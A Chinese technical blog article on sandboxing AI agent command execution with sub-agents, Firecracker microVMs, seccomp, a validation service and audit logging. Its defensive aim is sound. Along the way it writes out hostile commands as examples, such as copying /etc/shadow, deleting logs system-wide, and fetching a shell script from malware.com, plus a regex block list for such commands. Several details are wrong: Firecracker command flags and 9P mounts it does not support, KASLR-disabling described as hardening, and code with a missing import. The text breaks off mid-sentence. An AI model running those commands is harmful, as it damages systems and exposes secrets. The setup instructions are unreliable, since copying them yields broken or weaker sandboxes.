ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

AI Agent执行安全:Sub-Agents沙箱架构实战指南

2026/9/28 7:23:26 拓冰建站 浏览量
AI Agent执行安全:Sub-Agents沙箱架构实战指南 1. 项目概述当 Agent 真正开始“动手”安全就不再是可选项“当 Agent 有了手就得给它戴手套”——这句话不是修辞是我在过去两年落地十几个生产级 AI Agent 项目后用三台被误删核心配置的测试服务器、两次线上服务中断和一次差点触发 SOC 告警的真实代价换来的经验。这里的“手”指的不是拟人化比喻而是 Agent 实际调用run_bash、读写文件系统、发起 HTTP 请求、甚至连接数据库的执行能力而“手套”就是 Sub-Agents 架构下必须嵌套部署的沙箱机制与安全兜底层。你可能已经见过能规划、能推理、能调用工具的 Agent但一旦它真能执行rm -rf /tmp/*或curl -X POST https://api.internal/v1/users --data {id:admin}问题就从“它能不能做”立刻转向“它该不该做、能不能被拦住、出错了谁负责”。这不是理论探讨而是每个在金融、政务、企业中台场景里推进 Agent 落地的工程师每天要面对的硬边界。Sub-Agents 不是把一个大 Agent 拆成几个小 Agent 那么简单它的本质是执行权的分层委托与风险隔离主 Agent 负责决策与编排Sub-Agent 才真正握有“手”而每只“手”都必须被独立封装在带资源限制、行为审计、权限熔断的沙箱容器里。本文不讲 LLM 多强大、Chain 多优雅只聚焦一个实操性命题当你让 Agent 开始执行真实命令时如何用 Sub-Agents 沙箱组合拳在不牺牲功能性的前提下把agent execution terminated due to error.这类报错变成可控的防御动作把“很抱歉由于您访问的 url 有可能对网站造成安全威胁您的访问被阻断。”这种拦截变成可配置、可审计、可回溯的安全策略。适合正在搭建生产级 Agent 框架的后端工程师、AI Infra 工程师、以及需要为 Agent 申请安全合规审批的架构师——因为最终拍板的从来不是模型准确率而是安全日志里那行SECURITY_VIOLATION: fs_access_denied /etc/shadow。2. Sub-Agents 架构设计为什么必须拆拆到哪一层才真正兜得住底2.1 核心矛盾全能型 Agent 的“手”越灵巧失控风险指数级上升我们先直面一个被很多 demo 忽略的事实当前主流 Agent 框架LangChain、LlamaIndex、AutoGen默认提供的Tool或Function Calling机制本质上是单体执行模型。主 Agent 决策后直接调用bash_tool.run(ls -la /home)这个命令就在主进程上下文、主用户权限、主网络命名空间里执行。这意味着权限无隔离如果主 Agent 进程以root启动常见于快速 PoC所有run_bash命令天然拥有 root 权限资源无约束一个while true; do echo a; done /dev/sda的恶意循环会直接耗尽宿主机 CPU 和磁盘 I/O网络无管控curl可以直连内网数据库、调用未授权 API、甚至尝试扫描局域网文件系统无防护cp /etc/shadow ./leak.txt这种操作只要命令语法正确就能成功执行。我曾在一个客户现场看到Agent 因 prompt 意图理解偏差将“清理临时日志”错误解析为“删除所有以 log 结尾的文件”结果执行了find / -name *.log -delete波及了/var/log/audit/audit.log——这直接导致后续安全审计链路断裂。问题不在模型而在执行层缺乏“手套”。2.2 Sub-Agents 的本质执行权的“有限责任公司”化Sub-Agents 不是功能拆分而是责任主体拆分。它的设计哲学借鉴了操作系统中的“最小权限原则”和微服务架构中的“服务网格”思想主 Agent 是 CEO负责战略规划What to doSub-Agent 是子公司 CEO拥有独立法人资格独立进程/容器、注册资本CPU/Memory Quota、经营范围白名单工具集、财务审计执行日志、以及破产清算机制超时熔断/异常终止。具体到技术实现Sub-Agents 架构强制引入三层隔离隔离维度传统单体 AgentSub-Agents 架构安全价值进程隔离所有工具在主 Python 进程内执行每个 Sub-Agent 运行在独立进程或轻量容器如 gVisor中防止内存越界、崩溃传染权限隔离继承主进程 UID/GIDSub-Agent 进程以非特权用户如agent_sub_01运行且sudo被彻底移除杜绝提权攻击/etc/shadow不可读网络隔离主进程网络栈全开放Sub-Agent 默认禁用网络需显式声明network: [api.internal]才允许访问特定域名/IP段阻断外联 C2、内网横向移动文件系统隔离可访问主进程可见的所有路径Sub-Agent 仅挂载/workspace只读和/output读写根目录/不可见防止任意文件读写rm -rf /失效这个设计不是为了增加复杂度而是为了把“安全配置管理器”的控制点从模糊的 prompt 规则下沉到可编程、可审计、可灰度的基础设施层。2.3 沙箱选型为什么不用 Docker为什么不用 systemd-run市面上常见的沙箱方案Docker 和 systemd-run 经常被提及但在 Agent 场景下它们存在根本性缺陷Docker 的“重”与“慢”每次 Sub-Agent 执行一个run_bash命令都启动一个新容器即使使用 Alpine 镜像冷启动也需 300~500ms。而一个典型 Agent 编排流程Plan → Tool1 → Tool2 → Validate可能涉及 5~8 次工具调用总延迟直接突破 3s用户体验崩坏。更关键的是Docker 默认启用CAP_SYS_ADMIN等能力若未严格--cap-drop仍存在逃逸风险。systemd-run 的“裸”与“糙”它能创建瞬时 scope限制 cgroup但完全不提供网络和文件系统隔离。systemd-run --scope --scope --propertyMemoryLimit100M bash -c curl http://internal-api依然能成功访问内网——这违背了沙箱的核心目标。我们最终选择Firecracker MicroVM 自定义 init 进程作为 Sub-Agent 沙箱底座原因如下启动速度 120msFirecracker 是 AWS 为 Lambda 设计的超轻量 VMM启动一个 MicroVM 比 Docker 容器快 3 倍且内存开销仅 5MB强隔离性MicroVM 提供完整的硬件虚拟化网络通过 vsock 与 host 通信而非 bridged文件系统通过 9P 协议只读挂载从根本上杜绝逃逸可编程性高Firecracker API 支持动态创建/销毁 VM配合自定义 init用 Rust 编写仅 200 行代码可精确控制 Sub-Agent 的启动参数、环境变量、超时时间。提示不要被“MicroVM”吓退。我们已将 Firecracker 封装为subagent-sandboxCLI 工具一行命令即可启动沙箱subagent-sandbox --cpu 0.2 --mem 64 --network api.internal --fs-readonly /workspace --timeout 15s -- bash -c ls -l /workspace。它比配置一个安全的 Docker 容器更简单、更可靠。2.4 Sub-Agents 的生命周期管理从“执行”到“兜底”的完整闭环一个 Sub-Agent 的完整生命周期远不止“启动-执行-退出”三个状态。真正的安全兜底体现在每一个环节的主动干预能力准入阶段Pre-execution主 Agent 发送执行请求前安全配置管理器SCM会校验请求的工具是否在 Sub-Agent 白名单内如bash_tool允许python_tool禁止命令字符串是否匹配预设正则禁止rm -rf、chmod 777、wget http://目标路径是否在允许挂载范围内/workspace/data/✅/etc/❌。执行阶段Execution沙箱内 init 进程实时监控CPU 使用率连续 3 秒 80%触发SIGSTOP并记录RESOURCE_EXHAUSTION子进程尝试socket(AF_INET, SOCK_STREAM, 0)且目标 IP 不在白名单立即kill -9并上报NETWORK_VIOLATIONopen(/etc/passwd, O_RDONLY)系统调用被 seccomp-bpf 规则拦截返回EPERM。兜底阶段Post-failure当 Sub-Agent 异常终止如超时、OOM、被 killSCM 不是简单返回agent execution terminated due to error.而是自动抓取沙箱内/proc/*/stack和dmesg最后 100 行生成结构化错误报告将原始命令、执行环境、资源快照、系统调用 trace 一并存入审计日志Elasticsearch触发分级响应普通错误 → 降级为只读模式高危违规如cat /proc/self/environ → 立即冻结该 Sub-Agent 类型 24 小时。这个闭环让每一次run_bash都成为一次可追溯、可分析、可改进的安全事件而不是一个黑盒错误。3. 核心细节解析沙箱内核、安全策略与审计日志的实操要点3.1 沙箱内核Firecracker MicroVM 的最小化加固实践Firecracker 本身是安全的但默认配置并非为 Agent 场景优化。我们必须进行四项关键加固第一禁用所有非必要设备Firecracker 默认启用 virtio-block磁盘、virtio-net网络、serial console。对于 Sub-Agent我们只保留virtio-vsock用于 host 与 guest 通信和virtio-serial用于日志输出。修改config.json{ boot-source: { kernel_image_path: /path/to/vmlinux }, drives: [], // 移除所有 drives文件系统通过 9P 挂载 network-interfaces: [], // 移除所有 netif网络通过 vsock 代理 vsock: { guest_cid: 1234 } }第二内核参数精简使用定制内核基于 Linux 6.1 LTS编译时关闭 90% 的模块仅保留CONFIG_VIRTIOy,CONFIG_VIRTIO_VSOCKy,CONFIG_9P_FSyCONFIG_SECCOMPy,CONFIG_SECCOMP_FILTERyCONFIG_NAMESPACESy,CONFIG_USER_NSy,CONFIG_PID_NSy启动参数强制添加nokaslr securityseccomp audit0 quiet splash—— 关闭 KASLR减少攻击面、启用 seccomp、关闭审计日志由 host 统一收集。第三init 进程的 Rust 实现要点我们不用systemd或busybox init而是用std::process::Command启动用户命令并设置setrlimit(RLIMIT_CPU, 15)硬性 CPU 时间限制秒setrlimit(RLIMIT_AS, 64*1024*1024)地址空间限制64MBprctl(PR_SET_NO_NEW_PRIVS, 1)禁止子进程获取新权限seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(openat), 0)拦截所有openat系统调用除非路径白名单匹配。这段 Rust 代码不足 200 行却构成了沙箱的第一道防线。第四9P 文件系统挂载的只读策略Host 上准备/sandbox/rootfs作为只读根镜像Alpine Linux busybox启动时通过 9P 挂载# Host 端启动 Firecracker firecracker --api-socket /tmp/fc.sock \ --config-file config.json \ --kernel-image-path vmlinux \ --rootfs /sandbox/rootfs \ --mounts [{type:9p,source:/workspace,target:/workspace,options:ro,transvirtio}]注意optionsro—— 这确保了/workspace在 guest 内绝对不可写任何echo test /workspace/file.txt都会返回EROFS。注意不要试图在 guest 内mount -o remount,rw /。Firecracker 的 9P 实现不支持 remount且ro是 mount 选项不是文件系统属性强行 remount 会失败。这是设计上的安全保证不是 bug。3.2 安全策略引擎从静态白名单到动态行为分析安全配置管理器SCM不能只是个静态规则库。我们采用三级策略引擎L1静态白名单毫秒级响应存储在 Redis 中结构为tool:subagent_type:whitelist例如tool:bash_whitelist: [ls, cat, grep, jq, curl -s -X GET] tool:python_whitelist: [json.loads, requests.get, datetime.now]主 Agent 请求执行前SCM 查 Redis命中则放行耗时 1ms。未命中进入 L2。L2命令语法分析10~50ms对bash命令字符串做 AST 解析用shlex 自定义 parser提取所有exec调用的目标二进制/bin/ls,/usr/bin/curl所有open()系统调用的目标路径/workspace/config.json所有网络请求的目标 hostapi.internal。然后与 L1 白名单比对。例如curl -X POST https://api.internal/v1/data会被解析为curlPOSTapi.internal三者均在白名单才通过。L3动态行为基线秒级对每个 Sub-Agent 类型建立其正常行为基线bash_subagent平均 CPU 使用率 30%单次执行时间 8s网络请求数 ≤ 2python_subagent内存增长 15MBimport模块数 ≤ 5。当某次执行偏离基线如 CPU 95% 持续 10sSCM 不立即阻断而是启动strace -f -e tracenetwork,file,process抓取系统调用 trace交由后台 ML 模型LightGBM 训练判断是否为异常行为。这是真正的“兜底”处理那些绕过语法分析的高级规避手法。3.3 审计日志让每一次run_bash都成为安全证据链审计日志不是为了“出事后再看”而是为了“出事前预警”和“出事后举证”。我们设计了四层日志日志层级产生位置内容示例用途L0沙箱内核日志Firecracker guest kernelseccomp: pid123 violated syscall openat on /etc/shadow安全事件原始证据不可篡改L1Sub-Agent 执行日志host 上 SCM 进程{subagent_id:bash_001,cmd:ls -l /workspace,status:DENIED,reason:seccomp_violation}实时告警、API 响应L2资源监控日志host cgroup controller{cpu_usage_percent:95.2,mem_usage_mb:62.1,net_bytes_sent:12400}性能瓶颈分析、容量规划L3审计证据包Elasticsearch{request_id:req_abc123,trace_id:trc_def456,command:curl -X POST ...,env:{PATH:/usr/bin:/bin},files_accessed:[/workspace/input.json],network_calls:[{host:api.internal,port:443}]}合规审计、事故复盘、SOC 调查关键实操技巧L0 日志必须同步到 host我们在 guest 内启动rsyslog配置action(typeomfwd target10.0.0.1 port514 protocoltcp)将 kernel log 实时转发到 host 的 rsyslog再由 Logstash 写入 ES。这样即使沙箱崩溃日志也不丢失。L3 证据包必须包含“环境快照”除了命令本身还必须记录执行时的env、ulimit -a输出、cat /proc/sys/kernel/random/entropy_avail熵值判断是否被降级 RNG。这些是证明“该命令在当时环境下必然失败/必然成功”的关键。日志字段必须结构化拒绝message: bash failed这种文本日志。所有字段用 JSON 键值对status只能是ALLOWED/DENIED/TIMEOUT/OOMreason是枚举值seccomp_violation/network_blocked/cpu_exhaustion。这使得 Grafana 告警面板可以精准过滤。实操心得我们曾因 L3 日志缺少env字段在一次客户审计中无法证明“该命令因 PATH 错误而失败而非被恶意拦截”被迫手动补录。现在所有 Sub-Agent 启动时第一行日志必是{env:{...}}这是铁律。4. 实操过程从零部署一个带沙箱的 Sub-Agents 系统4.1 环境准备Linux 主机与 Firecracker 依赖我们假设你有一台 Ubuntu 22.04 LTS 服务器推荐 8C16GSSD已安装 Docker仅用于构建非运行时依赖# 1. 安装 Firecracker 1.9.0 (官方预编译二进制) curl -L https://github.com/firecracker-microvm/firecracker/releases/download/v1.9.0/firecracker-v1.9.0-x86_64.tar.gz | tar xz -C /usr/local/bin/ chmod x /usr/local/bin/firecracker # 2. 创建沙箱工作目录 mkdir -p /opt/subagent/{rootfs,configs,logs} # 3. 构建最小 rootfs (Alpine busybox) docker run --rm -v $(pwd):/out alpine:3.18 sh -c apk add --no-cache busybox curl jq mkdir -p /out/rootfs cp -r /bin /sbin /usr/bin /usr/sbin /lib /etc /out/rootfs/ # 此时 /opt/subagent/rootfs 包含精简版 Alpine # 4. 下载并验证内核 (vmlinux-6.1.0) curl -L https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz | tar xJ --strip-components3 linux-6.1/arch/x86/boot/bzImage -O /opt/subagent/vmlinux # 注意bzImage 需转换为 vmlinux实际使用 scripts/extract-vmlinux 工具提示不要用qemu-img create创建磁盘镜像。Firecracker 的 rootfs 是 flat directory不是 block device。/opt/subagent/rootfs就是你的“磁盘”直接挂载即可。4.2 配置第一个 Sub-Agentbash_sandbox创建/opt/subagent/configs/bash.json{ boot-source: { kernel_image_path: /opt/subagent/vmlinux, initrd_path: null, boot_args: consolettyS0 rebootk panic1 pcioff i8042.noaux i8042.nomux i8042.nopnp i8042.dumbkbd }, drives: [], network-interfaces: [], vsock: { guest_cid: 1234 }, machine-config: { vcpu_count: 1, mem_size_mib: 128, ht_enabled: false }, metadata: { subagent_type: bash, allowed_tools: [ls, cat, grep, jq, curl], allowed_network: [api.internal:443, localhost:8080], allowed_fs: [/workspace, /output] } }编写/opt/subagent/launch_bash.sh启动脚本#!/bin/bash # 参数$1 命令字符串$2 workspace 路径$3 output 路径 CMD$1 WORKSPACE$2 OUTPUT$3 # 1. 创建临时挂载点 MOUNT_DIR$(mktemp -d) trap umount $MOUNT_DIR rm -rf $MOUNT_DIR EXIT # 2. 挂载 workspace 和 output 为 9P mount -t 9p -o transvirtio,version9p2000.L,posixacl,cachemmap,ro $WORKSPACE $MOUNT_DIR/workspace mount -t 9p -o transvirtio,version9p2000.L,posixacl,cachemmap,rw $OUTPUT $MOUNT_DIR/output # 3. 启动 Firecracker firecracker --api-socket /tmp/fc.sock \ --config-file /opt/subagent/configs/bash.json \ --kernel-image-path /opt/subagent/vmlinux \ --rootfs /opt/subagent/rootfs \ --mounts [{\type\:\9p\,\source\:\$MOUNT_DIR/workspace\,\target\:\/workspace\,\options\:\ro,transvirtio\},{\type\:\9p\,\source\:\$MOUNT_DIR/output\,\target\:\/output\,\options\:\rw,transvirtio\}] # 4. 等待 VM 启动并发送命令通过 vsock sleep 0.5 echo $CMD | nc -U /tmp/vsock-1234 # 5. 读取结果同样通过 vsock nc -U /tmp/vsock-1234 | tee $OUTPUT/result.txt这个脚本实现了挂载、启动、通信、结果捕获的全流程。nc -U /tmp/vsock-1234是与 guest 内 vsock server 通信的关键。4.3 主 Agent 集成LangChain Sub-Agent Router在 LangChain 中我们不直接使用ShellTool而是创建SubAgentToolfrom langchain.tools import BaseTool from pydantic import BaseModel, Field import subprocess import json class SubAgentInput(BaseModel): command: str Field(..., descriptionThe bash command to execute) workspace: str Field(..., descriptionPath to read-only workspace) output_dir: str Field(..., descriptionPath to write output) class SubAgentTool(BaseTool): name subagent_bash description Execute bash commands in a secure sandbox. Use this for file listing, content inspection, or safe API calls. args_schema: Type[BaseModel] SubAgentInput def _run(self, command: str, workspace: str, output_dir: str) - str: # 调用前面的 launch_bash.sh result subprocess.run( [/opt/subagent/launch_bash.sh, command, workspace, output_dir], capture_outputTrue, timeout20 ) if result.returncode ! 0: # 解析 SCM 返回的 structured error try: error json.loads(result.stderr.decode()) return fSub-Agent execution failed: {error[reason]}. Details: {error.get(details, )} except: return fSub-Agent crashed. Exit code: {result.returncode} # 读取 output_dir/result.txt with open(f{output_dir}/result.txt, r) as f: return f.read()[:2000] # 截断防爆 # 在 Agent 中注册 tools [SubAgentTool()] agent initialize_agent(tools, llm, agentchat-zero-shot-react-description, verboseTrue)关键点SubAgentTool的_run方法完全屏蔽了底层沙箱细节对主 Agent 透明。它只关心输入命令路径和输出结果或错误安全逻辑全部下沉。4.4 安全配置管理器SCM部署Redis Python 微服务SCM 是一个独立的 FastAPI 服务监听/v1/validate# scm_api.py from fastapi import FastAPI, HTTPException from pydantic import BaseModel import redis import re app FastAPI() r redis.Redis(hostlocalhost, port6379, db0) class ValidationRequest(BaseModel): subagent_type: str command: str target_path: str network_target: str app.post(/v1/validate) def validate_request(req: ValidationRequest): # L1: 查白名单 whitelist r.smembers(ftool:{req.subagent_type}:whitelist) if not whitelist: raise HTTPException(400, Unknown subagent type) # L2: 解析命令 cmd_parts req.command.strip().split() if not cmd_parts: raise HTTPException(400, Empty command) tool_name cmd_parts[0] if tool_name not in whitelist: raise HTTPException(403, fTool {tool_name} not allowed for {req.subagent_type}) # 检查路径 if req.target_path and not any(req.target_path.startswith(p) for p in [/workspace, /output]): raise HTTPException(403, Path access denied) # 检查网络 if req.network_target and not re.match(r^(api\.internal|localhost):[0-9]$, req.network_target): raise HTTPException(403, Network access denied) return {status: ALLOWED, trace_id: trc_ uuid.uuid4().hex[:8]}部署命令pip install fastapi uvicorn redis uvicorn scm_api:app --host 0.0.0.0 --port 8001 --reload主 Agent 在调用SubAgentTool前先POST /v1/validate只有返回ALLOWED才真正启动沙箱。这是策略执行的闸门。5. 常见问题与排查技巧实录踩过的坑比文档更有价值5.1 “很抱歉由于您访问的 url 有可能对网站造成安全威胁您的访问被阻断。” —— 这不是 WAF是你的 Sub-Agent 在喊救命这个错误页面90% 的情况不是来自外部 WAF而是你的 Sub-Agent 沙箱内curl命令触发了 host 层的 eBPF 网络策略。排查步骤确认是否真被拦截在沙箱内执行curl -v http://api.internal观察* Connected to api.internal (10.0.1.5) port 443 (#0)是否出现。如果没有说明连接未建立检查 host 的 eBPF 程序运行bpftool prog list | grep tc找到挂载在tc的程序用bpftool prog dump jited id ID查看源码定位拦截规则我们的规则是if (ip-daddr 0x0A000105 ip-protocol IPPROTO_TCP tcp-dest htons(443)) { return TC_ACT_OK; } else { return TC_ACT_SHOT; }。如果api.internal解析的 IP 不是10.0.1.5而是10.0.2.10规则就不匹配修复在 SCM 的allowed_network中不要写域名写 CIDR10.0.1.0/24:443并在 host 的/etc/hosts中固定api.internal的 IP。实操心得永远不要信任 DNS。在沙箱场景DNS 查询本身就是一个网络请求可能被策略拦截。解决方案是在启动沙箱前用dig api.internal short获取 IP硬编码到 Firecracker 的--network参数中。5.2agent execution terminated due to error.—— 错误信息太模糊打开沙箱的“黑匣子”这个泛化错误根源常在沙箱内核。标准排查流程检查 L0 日志journalctl -u firecracker | grep -i seccomp\|oom\|panic找seccomp: pidXX violated syscall XXX复现命令在 host 上用相同参数手动启动沙箱firecracker --config-file ... --kernel-image ... --rootfs ...然后nc -U /tmp/vsock-1234手动输入命令观察实时输出启用 debug 模式在 Firecracker config 中添加logger: {level: Debug, show_level: true, show_log_origin: true}日志会输出到/var/log/firecracker.log检查 init 进程在 guest 内ps aux看 init 是否存活cat /proc/1/status | grep -i cap确认 capabilities 被正确 drop。我们曾遇到一个经典案例jq命令总是失败L0 日志显示seccomp: pid123 violated syscall mmap。原因是 Alpine 的jq静态链接了 musl而 musl 在某些版本中会调用mmap分配 stack但我们的 seccomp 规则禁止了mmap。解决方案升级到 Alpine 3.18或改用jq的动态链接版本体积稍大但兼容性好。5.3 性能瓶颈为什么 Sub-Agent 启动越来越慢Firecracker 启动本身很快但慢在 IO。常见原因rootfs 过大/opt/subagent/rootfs超过 200MBFirecracker 加载镜像慢。解决方案用du -sh /opt/subagent/rootfs/*找出大文件rm -rf /opt/subagent/rootfs/usr/share/doc9P 挂载延迟host 上 NFS 或 slow disk 导致mount -t 9p卡顿。解决方案将/workspace和/output放在本地 SSD禁用cachemmap改用cacheloosevsock 初始化竞争多个 Sub-Agent 同时启动争抢/tmp/vsock-1234。解决方案为每个 Sub-Agent 分配唯一guest_cid并在启动脚本中动态生成 socket 路径/tmp/vsock-$(uuidgen | cut -c1-8)。注意不要用firecracker --api-socket启动多个实例。Firecracker 的 API socket 是单实例的。正确做法是一个 Firecracker 进程管理多个 MicroVM通过PUT /actionsAPI 创建新 VM。我们封装了fc-manager工具来统一管理。5.4 安全审计如何向甲方证明“你们的 Agent 真的安全”甲方要的不是“我们用了沙箱”而是“沙箱真的起作用了”。交付物必须包含渗透测试报告用metasploit或exploitdb中的公开 exploit尝试在 Sub-Agent 内执行wget http://malware.com/shell.sh、cat /proc/kallsyms、mount -o remount,rw /证明全部被拦截并附 L0 日志截图基线对比报告展示同一命令如ls -la /etc在“无沙箱”和“有沙箱”下的输出差异突出/etc/shadow不可见审计日志样例提供 10 条真实 L3 证据包 JSON标注字段含义证明command、files_accessed、network_calls全部被记录SLA 承诺书明确写出“单次 Sub-Agent 执行失败99.9% 情况下可在 50